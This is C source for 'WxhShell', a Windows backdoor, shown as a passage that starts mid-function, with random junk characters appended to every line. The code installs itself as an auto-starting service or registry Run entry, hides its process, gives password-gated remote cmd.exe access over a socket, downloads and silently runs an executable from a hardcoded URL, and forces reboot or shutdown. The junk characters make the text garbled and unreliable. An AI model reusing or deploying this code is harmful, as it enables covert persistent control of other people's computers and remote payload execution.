    break; ZsP2>%"  
    } I XA>`D  
  // 关机 (n( fI f  
  case 'd': { ~!6K]hB4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JeH;v0  
    if(Boot(SHUTDOWN)) t/i5,le  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C2e.2)y  
    else { %n0;[sD0A  
    closesocket(wsh); UnWW/]E  
    ExitThread(0); a.F Al@Br  
    } )8gGv  
    break; sE(HZR1  
    } 8Ad606  
  // 获取shell %6j)=IOts  
  case 's': { Q<tu)Qo  
    CmdShell(wsh); m"tOe?  
    closesocket(wsh); zQy"m-Q  
    ExitThread(0); 3ucP(Ex@tg  
    break; CCijf]+  
  } 6w3R'\9  
  // 退出 nHFrG =o,  
  case 'x': { "LhUxnll  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .o{0+fC#  
    CloseIt(wsh); ytEC   
    break; GDaN  
    } ^[:9fs  
  // 离开 D?jk$^p~m#  
  case 'q': { s)A<=)w/e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p(SRjQt  
    closesocket(wsh); kW3E =pr  
    WSACleanup(); igf )Hb;5  
    exit(1); Ha>*?`?yI  
    break; $Byj}^;1  
        } iSRpfU  
  } qKS;x@  
  } C z#Z<:  
T4e\0.If  
  // 提示信息 n7aU<`U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pI+!92Z  
} !X >=l  
  } ~iBgw&Y  
>>dm }X  
  return; {X]R-1>  
} CLD-mx|?  
_gNz9$S  
// shell模块句柄 2U kK0ls  
int CmdShell(SOCKET sock) ,"-Rf<q/  
{ G%p~m%zIK  
STARTUPINFO si; &>WWzikB*  
ZeroMemory(&si,sizeof(si)); "e3["'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "tit\a6\(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `i~ Y Fr  
PROCESS_INFORMATION ProcessInfo; x  LBQ  
char cmdline[]="cmd"; 6Sj6i^"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ',7??Q7j&v  
  return 0; ?VU(Pq*`  
} .k{ j]{k  
u#7+U\  
// 自身启动模式 Q~D`cc|]  
int StartFromService(void) IHfzZHy  
{ z(uZF3  
typedef struct MjfFf} @  
{ l*b)st_p%  
  DWORD ExitStatus;  oz'\q0  
  DWORD PebBaseAddress; iL{M+Ic  
  DWORD AffinityMask; !33#. @[  
  DWORD BasePriority; gCd`pi 8  
  ULONG UniqueProcessId; `[#x_<\t  
  ULONG InheritedFromUniqueProcessId; ({0)@+V8  
}   PROCESS_BASIC_INFORMATION; rI$`9d  
TZir>5  
PROCNTQSIP NtQueryInformationProcess; ^62|d  
G}@#u9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j Ib  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DH DZ_t:  
eg"Gjp- 4=  
  HANDLE             hProcess; _zxLwU1(x  
  PROCESS_BASIC_INFORMATION pbi; ulHn#)  
4Q=ftY<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3Rg}+[b  
  if(NULL == hInst ) return 0; fyz nuUl  
egR9AEJvz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O[17";P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s}&bJ"!Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =! Vf  
g o5]<4`r  
  if (!NtQueryInformationProcess) return 0; F-(dRSDNM  
T`/IO.2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SDG-~(Y  
  if(!hProcess) return 0; x)rlyjFM  
? Q@kg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PMsz`  
XB hb`AG  
  CloseHandle(hProcess); @Fv=u  
){s*n=KIO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vqslirC  
if(hProcess==NULL) return 0; P=L$;xgp  
;cQW sTfT  
HMODULE hMod; _,Fny_u=;  
char procName[255]; _fFU#k:MU  
unsigned long cbNeeded; 7x]4`#u  
A \rt6/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <HWS:'1  
@4~=CV%j  
  CloseHandle(hProcess); Dq\ Jz~  
V{-AP=C7  
if(strstr(procName,"services")) return 1; // 以服务启动 |XYEn7^r  
eC DIwB28  
  return 0; // 注册表启动 8GPIZh'0 h  
} c;f!!3&  
TG48%L  
// 主模块 m4K* <  
int StartWxhshell(LPSTR lpCmdLine) "\"DCDKmG  
{ Eu}b8c  
  SOCKET wsl; Bsf7mcXz7z  
BOOL val=TRUE; F+UG'4%  
  int port=0; W^,S6!  
  struct sockaddr_in door; s6*ilq1  
+ j+5ud`  
  if(wscfg.ws_autoins) Install(); uxn)R#?  
kEeo5X N  
port=atoi(lpCmdLine); e;bYaM4 UX  
%Kh4m7  
if(port<=0) port=wscfg.ws_port; 8rZ!ia!  
C F!Sa6  
  WSADATA data; MmPU7Nl%X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; seFGJfN\?f  
=-cwXo{Q.O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zo{/'BnU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EqiFy"H  
  door.sin_family = AF_INET; %z]U LEYrZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *YTo{~  
  door.sin_port = htons(port); =d 2r6%v  
MfF~8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #$~ba %t9%  
closesocket(wsl); _i_Q?w`  
return 1; ->z54 T  
} # M, 7  
)"(]Lf's  
  if(listen(wsl,2) == INVALID_SOCKET) { |rw%FM{F  
closesocket(wsl); N(6|yZ<J3M  
return 1; mM.*b@d-  
} >DM44  
  Wxhshell(wsl); gyHHoZc3  
  WSACleanup(); :nHKl  
<Tw>|cFT  
return 0; })xp%<`  
p=GWq(S6  
} TQX)?^Ft  
]  H~4  
// 以NT服务方式启动 b2(RpY2Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a ?} .Fs  
{ zIC;7 5#  
DWORD   status = 0; E9\vA*a  
  DWORD   specificError = 0xfffffff; ;DA8B'^>  
e<7.y#L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YG:3Fhx0~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M$4k;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rVvR!"//yH  
  serviceStatus.dwWin32ExitCode     = 0; d4:`@*  
  serviceStatus.dwServiceSpecificExitCode = 0; O-]mebTvw  
  serviceStatus.dwCheckPoint       = 0;  %R#L  
  serviceStatus.dwWaitHint       = 0; e:E0"<  
'oNO-)p\#!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DBLk!~IF  
  if (hServiceStatusHandle==0) return; *,C(\!b !?  
7 J^rv9i4  
status = GetLastError();  mvW%  
  if (status!=NO_ERROR) (z7vl~D  
{ rt3qdk5U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; # ?1Sm/5k`  
    serviceStatus.dwCheckPoint       = 0; [P zv4+  
    serviceStatus.dwWaitHint       = 0; }<@j'Ok}.  
    serviceStatus.dwWin32ExitCode     = status; uJx"W  
    serviceStatus.dwServiceSpecificExitCode = specificError; -U~   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /[:dp<  
    return; ZN"j%E{d  
  } LZPuDf~/  
f-6vLX\Vu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; waX>0e  
  serviceStatus.dwCheckPoint       = 0; gK#mPcn^  
  serviceStatus.dwWaitHint       = 0; .iCDXc{#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GWsE;  
} rqv))Zo`  
{l_{T4xToB  
// 处理NT服务事件,比如:启动、停止 NW~z&8L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c,so`I3rI  
{ u$%t)2+$4  
switch(fdwControl) U<XSj#&8|  
{ *vgl*k?)  
case SERVICE_CONTROL_STOP: R(.}C)q3  
  serviceStatus.dwWin32ExitCode = 0; +[\eFj|=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,h|qi[7  
  serviceStatus.dwCheckPoint   = 0; f~E*Zz`;  
  serviceStatus.dwWaitHint     = 0; Vc^HVyAx@n  
  { AE: Z+rM*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r|4t aV&  
  } j Ja$a [  
  return; Nu8Sr]p  
case SERVICE_CONTROL_PAUSE: =_j vk.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FYs)M O  
  break; umz;F  
case SERVICE_CONTROL_CONTINUE: xw{-9k-~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A5,t+8`aci  
  break; *5tO0_L  
case SERVICE_CONTROL_INTERROGATE: \tx bhWN  
  break; jq'!UN{  
}; HW&%T7 a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &DqE{bBd!  
} pEECHk  
Y|8v O  
// 标准应用程序主函数 \xg]oKbn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9a'-Y  
{ Uax+dl   
fEB7j-t  
// 获取操作系统版本 (E,T#uc{  
OsIsNt=GetOsVer(); !+u"3;%h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .4. b*5  
L@=3dp!\Cu  
  // 从命令行安装 sNun+xsf^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'B+ ' (f  
&d7Z6P'`G  
  // 下载执行文件 A^Kbsc  
if(wscfg.ws_downexe) { +cb6??H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .q+0pj  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0$r^C6}f  
} FP[!BUOf"  
k X {0y  
if(!OsIsNt) { \OlmF<~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?UM*Xah  
HideProc(); keRE==(D  
StartWxhshell(lpCmdLine); Em[DHfu1Q  
} JNcYJ[wqv  
else j }b\Z9)!  
  if(StartFromService()) QMv@:Eo  
  // 以服务方式启动 lRh9j l  
  StartServiceCtrlDispatcher(DispatchTable); Uye|9/w8 !  
else W0I#\b18  
  // 普通方式启动 Bc3:}+l  
  StartWxhshell(lpCmdLine); oyo(1 >  
);-~j  
return 0; m%?V7-9!k  
} tTd\|  
|bgo;J/  
bLt.O(T}  
boG_f@dv(  
=========================================== 1+?N#Fh  
hY`\&@  
ybp -$e  
<w3!!+oK"  
Z"unF9`"1  
g^zs,4pPU<  
" fhB}9i^]tg  
0p89: I*0  
#include <stdio.h> UA|u U5Q  
#include <string.h> 1}~(Yj@f%  
#include <windows.h> 4Qn$9D+?  
#include <winsock2.h> F5S@I;   
#include <winsvc.h> J90v!p-  
#include <urlmon.h> >:lnt /N3  
BT}&Y6  
#pragma comment (lib, "Ws2_32.lib") $AHQmyg<  
#pragma comment (lib, "urlmon.lib") k{t`|BnPKB  
](|\whI  
#define MAX_USER   100 // 最大客户端连接数 ?6'rBH/w  
#define BUF_SOCK   200 // sock buffer rj!0GI  
#define KEY_BUFF   255 // 输入 buffer #c2ymQm  
ut r:J  
#define REBOOT     0   // 重启 Y))NK'B5  
#define SHUTDOWN   1   // 关机 ^j7azn  
Yup3^E w&  
#define DEF_PORT   5000 // 监听端口 ,0LU~AGe   
 T Q,?>6n  
#define REG_LEN     16   // 注册表键长度 4*$G & TX  
#define SVC_LEN     80   // NT服务名长度 e1P"[|9>R  
7g3 >jh  
// 从dll定义API ;J7F J3n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o=`C<}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jlxpt)0i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2#k5+?-c61  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AlJ} >u  
r(9~$_(vK  
// wxhshell配置信息 XVU2T5s}  
struct WSCFG { z?35=%~w   
  int ws_port;         // 监听端口 (y^vqMz  
  char ws_passstr[REG_LEN]; // 口令 1)Zf3Y8  
  int ws_autoins;       // 安装标记, 1=yes 0=no TsTPj8GAl[  
  char ws_regname[REG_LEN]; // 注册表键名 ({o'd=nO  
  char ws_svcname[REG_LEN]; // 服务名 l#n,Fg3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R4-~jgzx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZRYEqSm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n'emN Ra  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0V?F'<qy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8g7<KKw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -44&#l^}_u  
j)q\9#sI/(  
}; &4_qF^9J  
i&n'N8D@  
// default Wxhshell configuration /t(C>$ }p  
struct WSCFG wscfg={DEF_PORT, &iV{:)L  
    "xuhuanlingzhe", dUsx vho  
    1, --DoB=5%8  
    "Wxhshell", ,cq F3   
    "Wxhshell", Q$fmD  
            "WxhShell Service", A@Dw<.&_I  
    "Wrsky Windows CmdShell Service", }1rm  
    "Please Input Your Password: ", Ps<d('=  
  1, B/n[m@O  
  "http://www.wrsky.com/wxhshell.exe", V dn&c  
  "Wxhshell.exe" IH"6? 9nd  
    }; Nv"EV;$  
)RcL/n  
// 消息定义模块 ]~3U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N;[>,0&z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1x,tu}<u^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [pM V?a[  
char *msg_ws_ext="\n\rExit."; a`0=AQ  
char *msg_ws_end="\n\rQuit."; KI+VXH}Y5{  
char *msg_ws_boot="\n\rReboot..."; ,GgAsj: K  
char *msg_ws_poff="\n\rShutdown..."; L31|\x]  
char *msg_ws_down="\n\rSave to "; {` w;39$+  
zLJ/5&  
char *msg_ws_err="\n\rErr!"; 1m.W<  
char *msg_ws_ok="\n\rOK!"; D:K4H+ch  
()H:UvM=t  
char ExeFile[MAX_PATH]; Km^&<3ch#  
int nUser = 0; ,\@O(; mF  
HANDLE handles[MAX_USER]; !Ta>U^ 7  
int OsIsNt; Y3=_ec3w  
<wAFy>7  
SERVICE_STATUS       serviceStatus; QMZ)-ty"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v~Y^r2  
+[tP_%/r'^  
// 函数声明 }m-FGk  
int Install(void); &@3H%DP}Ql  
int Uninstall(void); |p-t%xDdr  
int DownloadFile(char *sURL, SOCKET wsh); C/-63O_  
int Boot(int flag); [VWUqlNt>  
void HideProc(void); uDZT_c'Y  
int GetOsVer(void); y  TDNNK  
int Wxhshell(SOCKET wsl); k]I0o)+O.  
void TalkWithClient(void *cs); RH|XxH*  
int CmdShell(SOCKET sock); /g4f`$a  
int StartFromService(void); 9WR6!.y#f  
int StartWxhshell(LPSTR lpCmdLine); &%/7E_j7  
b2FO$Os  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _H/8_[xk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?)#5X_V-q  
mbueP.q[?  
// 数据结构和表定义 >&U,co$>  
SERVICE_TABLE_ENTRY DispatchTable[] = H8On<C=  
{ G2FXrkU  
{wscfg.ws_svcname, NTServiceMain}, l(#)WWr+  
{NULL, NULL} dYgXtl=#j  
}; T|6a("RL  
&sd}ulEg`  
// 自我安装 G}G#i`6o  
int Install(void) \~_9G{2?  
{ f@c`8L@g  
  char svExeFile[MAX_PATH]; pt}X>ph{  
  HKEY key; wLH] <k  
  strcpy(svExeFile,ExeFile); (zFi$  
k Zq!&  
// 如果是win9x系统,修改注册表设为自启动 &EnuE0BD  
if(!OsIsNt) { ^) s2$A:L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L{`JRu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E)fglYWs2  
  RegCloseKey(key); s91JBP|B7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UMcgdJB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FJ6u.u  
  RegCloseKey(key); }:~x7|~s:  
  return 0; L:'J Bhg  
    } 5hy""i  
  } _:"<[ >9  
} oo.2Dn6z  
else { }O4^Cc6  
q')R4=0 K  
// 如果是NT以上系统,安装为系统服务 `kJ^zw+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `{xNXH]@  
if (schSCManager!=0) +o51x'Ld*  
{ O7$hYk  
  SC_HANDLE schService = CreateService ~7Tc$ "I  
  ( =pC3~-;3  
  schSCManager, c?,i3s+2Y  
  wscfg.ws_svcname, e[#j.|m  
  wscfg.ws_svcdisp, v7`HQvQEz=  
  SERVICE_ALL_ACCESS, d8x\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]]wA[c~G  
  SERVICE_AUTO_START, }B.H|*uO  
  SERVICE_ERROR_NORMAL, |a!fhl+  
  svExeFile, BV[5}  
  NULL, w&KK3*=""  
  NULL, n .RhxgC<  
  NULL, w:<W.7y?0  
  NULL, E3iW-B8u8  
  NULL :B:"NyPA  
  ); 6 M*O{f  
  if (schService!=0) hHMN6i  
  { byfJy^8G  
  CloseServiceHandle(schService); iS<I0\D  
  CloseServiceHandle(schSCManager);  MEGv}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O~^"  
  strcat(svExeFile,wscfg.ws_svcname); Os1>kwC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n0e1k.A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]h5Yg/sms  
  RegCloseKey(key); YS%h^>I^  
  return 0; y)@[Sl>  
    } :65~[$2  
  } os]8BScx  
  CloseServiceHandle(schSCManager); <"r#:Wr  
} F;<xnC{[  
} XUlS\CH@{  
Ch3jxgQY  
return 1; Ub * wuI  
} uPl\I6k  
`p;I}  
// 自我卸载 9Q+'n$s0^  
int Uninstall(void) la+[bm< v  
{ SrK)t.oK  
  HKEY key; 8 {X"h#  
3^6 d]f  
if(!OsIsNt) { 9B7^lR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SV~~Q_U9  
  RegDeleteValue(key,wscfg.ws_regname); PJL=$gBgKk  
  RegCloseKey(key); Rw:*'1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HEM9E&rL  
  RegDeleteValue(key,wscfg.ws_regname); ssN6M./6  
  RegCloseKey(key); ktpaU,%  
  return 0; 6 'Worj  
  } E }nH1  
} ^*Yh@4\{JH  
} ^kB8F"X  
else { $H9%J  
J:zU,IIJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PIwFF}<(  
if (schSCManager!=0) Y*vW!yu  
{ f__cn^1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d! LE{  
  if (schService!=0) De(Hw& IV  
  { ~,B5Hc 2  
  if(DeleteService(schService)!=0) { K$E3QVa  
  CloseServiceHandle(schService); Nqa&_5"  
  CloseServiceHandle(schSCManager);  q;][5  
  return 0; :dQ B R  
  } 4k@5/5zsM  
  CloseServiceHandle(schService); mh{1*T$fP  
  } -K3^BZ HI  
  CloseServiceHandle(schSCManager); ^>hWy D  
} lUvpszH=  
} )j0TeE1R  
In<n&ib  
return 1; m~-K[+ya`D  
} m1M t#@,$  
1R1 z  
// 从指定url下载文件 n' q4  
int DownloadFile(char *sURL, SOCKET wsh) S9~ +c  
{ &b%zQ4%d-`  
  HRESULT hr; PC-"gi =h  
char seps[]= "/"; +2&@x=xy  
char *token; a+Kj1ix  
char *file; N%*5T[.  
char myURL[MAX_PATH]; tAv@R&W,  
char myFILE[MAX_PATH]; e(GP^oK  
9E"vN  
strcpy(myURL,sURL); O%5 r[  
  token=strtok(myURL,seps); &N\jG373  
  while(token!=NULL) qfMo7e@6*  
  { [8*jw'W|[  
    file=token; ^!<BQP7  
  token=strtok(NULL,seps); L"4mL,  
  } ^5h]Y;tx  
;E3>ay6m8  
GetCurrentDirectory(MAX_PATH,myFILE); <?riU\-]y  
strcat(myFILE, "\\"); = 's(|  
strcat(myFILE, file); F.=2u"[*&  
  send(wsh,myFILE,strlen(myFILE),0); C8V/UbA /  
send(wsh,"...",3,0); BlA_.]Sg$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xgKdMW'%g:  
  if(hr==S_OK) 'z%o16F)L  
return 0; <YhB8W9 P  
else ZL&g_jC  
return 1; W;!}#o|%s  
%R}.#,Suo  
} JS CZ{v J$  
P;qN(2L/=<  
// 系统电源模块 q#,f 4P  
int Boot(int flag) 7G}2,ueI  
{ Y6zbo  
  HANDLE hToken; IJ(  
  TOKEN_PRIVILEGES tkp; 8{^WY7.'  
%)/P^9I6  
  if(OsIsNt) { <FcG oGK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~&7MkkftM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 06c>$1-?  
    tkp.PrivilegeCount = 1; O Hb[qX\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +RYls|f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '":lB]hS  
if(flag==REBOOT) { ]pNvxXbeW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1+jAz`nA:T  
  return 0; qQ?"@>PALD  
} w1OI4C)~  
else { l0PZ`m+;j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;h*K}U  
  return 0; `Nb[G)Xh  
} XkXHGDEf1  
  } SEGri#s  
  else { @,cowar*  
if(flag==REBOOT) { ,D]QxbwZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ['B?i1 .  
  return 0; &:dH,  
} Py@wJEo  
else { OZ |IA:,}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qUob?| ^   
  return 0; 2\jPv`Ia  
} LWz&YF#T-  
} / zB0J?  
=/y]d<g  
return 1; a1+#3X.  
} X[PZg{   
2[ RoxKm  
// win9x进程隐藏模块 %.^_Ps0  
void HideProc(void) T_@K& <  
{ @` 1Ds  
*E/`KUG]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); | r&k48@  
  if ( hKernel != NULL ) T`\x,` ^  
  { t>urc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k@f g(}6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OwH81#   
    FreeLibrary(hKernel); t<z`N-5*  
  } c#Sa]n  
q_g+Jf P-D  
return; )4gJd? 8R  
} 6@{(;~r  
LcSX *MC  
// 获取操作系统版本 [y'f|XN  
int GetOsVer(void) A+"ia1p,}  
{ bm?sbE  
  OSVERSIONINFO winfo; T>x&T9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K;>9ZZtl  
  GetVersionEx(&winfo); v9w'!C)b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AX;8^6.F3  
  return 1; 0?\Zm)Q~(  
  else im9G,e  
  return 0; JEahGzO  
} F+ ,~v-  
} z _  
// 客户端句柄模块 "$ Y_UJT7  
int Wxhshell(SOCKET wsl) jkiFLtB@V  
{ <acUKfpY  
  SOCKET wsh; 8S mCpg  
  struct sockaddr_in client; H:t$'kb`  
  DWORD myID; juka0/  
pQ=>.JU  
  while(nUser<MAX_USER) Y;@>b{s  
{ 1zm ulj%&  
  int nSize=sizeof(client); Z~oo;xE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5iz{op<$,  
  if(wsh==INVALID_SOCKET) return 1; 5!DBmAB  
wQP^WzNE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e vrXo"3  
if(handles[nUser]==0) 9[b<5Llt  
  closesocket(wsh); Q[vJqkgT  
else wRcAX%n&  
  nUser++; CFzNwgv]z  
  } Rz bj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s>;v!^N?u  
4zev^FR  
  return 0; bJRN;g  
} 66/3|83Z  
5][Ztx  
// 关闭 socket 5R@  
void CloseIt(SOCKET wsh) \6E|pbJ}x  
{ !sDh4jQ`  
closesocket(wsh); ^?0DP >XA  
nUser--; PP;}e  
ExitThread(0); +BVym~*^  
} zLD0RBj7p  
T (OW  
// 客户端请求句柄 v, n$^R  
void TalkWithClient(void *cs) 'Jt]7;04p  
{ ^?cz,N~  
lE;Ewg  
  SOCKET wsh=(SOCKET)cs; #!aN{nK0  
  char pwd[SVC_LEN]; {1V($aBl  
  char cmd[KEY_BUFF]; "= 6_V?&w  
char chr[1]; :3XA!o&.T3  
int i,j; @&%'4j&+  
2z6yn?'&L  
  while (nUser < MAX_USER) { \>jLRb|7Ts  
5R'TcWf#W  
if(wscfg.ws_passstr) { (qqOjz   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vwjPmOjhS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lD^]\;?  
  //ZeroMemory(pwd,KEY_BUFF); =yr0bGy`-  
      i=0; y4*U6+#.  
  while(i<SVC_LEN) { A'q#I>j`  
TD1 [  
  // 设置超时 i5Zk_-\#H  
  fd_set FdRead; C~nzH,5  
  struct timeval TimeOut; ^B(V4-|  
  FD_ZERO(&FdRead); Bt> }rYz1  
  FD_SET(wsh,&FdRead); LJk@Vy <?  
  TimeOut.tv_sec=8; S4^vpY DeN  
  TimeOut.tv_usec=0; mL{B!Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <(-= 'QA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $FlW1E j  
'oF%,4 !Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); As3.Q(#Z  
  pwd=chr[0]; LQ(yScA@  
  if(chr[0]==0xd || chr[0]==0xa) { OTGofd2zf  
  pwd=0; <KE 1f7c  
  break; )~+E[|  
  } +=q$x Ia  
  i++; Xf02"PXC  
    } : >6F+XZ  
MHh~vy'HB5  
  // 如果是非法用户,关闭 socket Wc,~{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w.H%R-Be  
} OUeyklw  
RIb4!!',c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]Y2RqXA*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g#F?!i-[F  
2"Ecd  
while(1) { p[hZ@f(z  
b%<9Sn   
  ZeroMemory(cmd,KEY_BUFF); DB-l$rj  
lDOCmdt@N  
      // 自动支持客户端 telnet标准   :p]'32FA!  
  j=0; gCioq.  
  while(j<KEY_BUFF) { 4SlADvGl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :YXX8|>  
  cmd[j]=chr[0]; AG!w4Ky`  
  if(chr[0]==0xa || chr[0]==0xd) { Cnbz=z  
  cmd[j]=0; u+'tfFds&  
  break; IPgt|if^  
  } .QA }u ,EN  
  j++; \hBG<nH{0  
    } |?qquD 4=  
}._eIx"  
  // 下载文件 7B!x T2{T  
  if(strstr(cmd,"http://")) { k"NVV$;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DE%KW:Hug  
  if(DownloadFile(cmd,wsh)) ~-EOjX(X'E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K[ (NTp$E  
  else <F}_ /q1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Yl <h)1  
  } AD1=[I3  
